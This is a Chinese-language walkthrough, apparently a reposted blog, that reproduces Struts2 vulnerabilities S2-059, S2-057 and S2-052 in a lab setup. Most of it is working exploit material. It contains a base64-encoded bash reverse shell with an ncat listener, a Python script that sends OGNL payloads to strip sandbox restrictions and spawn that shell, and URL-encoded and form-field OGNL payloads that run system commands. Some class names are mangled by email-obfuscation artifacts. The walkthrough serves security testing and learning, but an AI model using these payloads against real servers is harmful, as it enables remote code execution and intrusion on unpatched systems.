天天看点

s2 安恒 漏洞验证工具_Struts2 部分漏洞复现

s2-061已经复现过了,低版本漏洞可以使用k8哥哥和安恒的工具完成检测和写马,就不再做复现了,当然也可以使用漏扫去发现漏洞。

s2-059

漏洞描述:

攻击者可以通过构造恶意的OGNL表达式,并将其设置到可被外部输入进行修改,且会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析,最终造成远程代码执行的影响。

影响版本:

Struts 2.0.0 – Struts 2.5.20

漏洞复现:

还是利用docker去搭建,搭建完直接验证漏洞是否存在

s2 安恒 漏洞验证工具_Struts2 部分漏洞复现

反弹shell,进行base64编码,编码站点:

http://www.jackson-t.ca/runtime-exec-payloads.html
           

编码前:

bash -i >& /dev/tcp/192.168.137.136/5555 0>&1
           

编码之后:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xMzYvNTU1NSAwPiYxCg==}|{base64,-d}|{bash,-i}
           

利用ncat去做监听:

ncat.exe -lvvp 5555
           

利用python脚本反弹shell,修改攻击地址,修改bash反弹语句:

import requestsurl = "http://192.168.137.128:8080"data1 = {    "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"}data2 = {    "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@[email protected]_MEMBER_ACCESS)).(@[email protected]().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xMzYvNTU1NSAwPiYxCg==}|{base64,-d}|{bash,-i}'))}"}res1 = requests.post(url, data=data1)# print(res1.text)res2 = requests.post(url, data=data2)# print(res2.text)
           

执行完是没有回显

s2 安恒 漏洞验证工具_Struts2 部分漏洞复现

已经反弹回来

s2 安恒 漏洞验证工具_Struts2 部分漏洞复现

s2-057

漏洞描述:

定义XML配置时如果namespace值未设置且上层动作配置(Action Configuration)中未设置或用通配符namespace时可能会导致远程代码执行。

url标签未设置value和action值且上层动作未设置或用通配符namespace时可能会导致远程代码执行。

s2 安恒 漏洞验证工具_Struts2 部分漏洞复现
http://192.168.137.128:8080/struts2-showcase/$%7B1+1%7D/actionChain1.action
           

$%7B1+1%7D为url编码,解码为:${1+1},记得进行编码,否则ognl表达式不会执行成功

s2 安恒 漏洞验证工具_Struts2 部分漏洞复现
windows:http://192.168.137.128:8080/struts2-showcase/%24%7b(%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%40java.lang.Runtime%40getRuntime().exec('calc').getInputStream()%2c%23b%3dnew%20java.io.InputStreamReader(%23a)%2c%23c%3dnew %20java.io.BufferedReader(%23b)%2c%23d%3dnew%20char%5b51020%5d%2c%23c.read(%23d)%2c%23sbtest%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23sbtest.println(%23d)%2c%23sbtest.close())%7d/actionChain1.action
           
Linux:http://192.168.137.128:8080/struts2-showcase/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%[email protected]@getRuntime%28%29.exec%28%27touch /tmp/js%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%[email protected]@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/actionChain1.action
           
docker:http://192.168.137.128:8080/struts2-showcase/actionchaining/$%7B(%23ct=%23request['struts.valueStack'].context).(%23cr=%23ct['com.opensymphony.xwork2.ActionContext.container']).(%23ou=%23cr.getInstance(@[email protected])).(%23ou.setExcludedClasses('java.lang.Shutdown')).(%23ou.setExcludedPackageNames('sun.reflect.')).(%[email protected]@DEFAULT_MEMBER_ACCESS).(%23ct.setMemberAccess(%23dm)).(%[email protected]@getRuntime().exec('touch /tmp/js'))%7D/actionChain1.action
           

s2-052

漏洞描述:

Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。

影响版本:

Struts 2.0.1 - Struts 2.3.33, Struts 2.5 - Struts 2.5.10

访问hello.action

http://192.168.137.128:8080/hello.action
           
s2 安恒 漏洞验证工具_Struts2 部分漏洞复现
payload:%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@[email protected](#process.getInputStream()))}
           
s2 安恒 漏洞验证工具_Struts2 部分漏洞复现
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@[email protected](#process.getInputStream()))}
           
s2 安恒 漏洞验证工具_Struts2 部分漏洞复现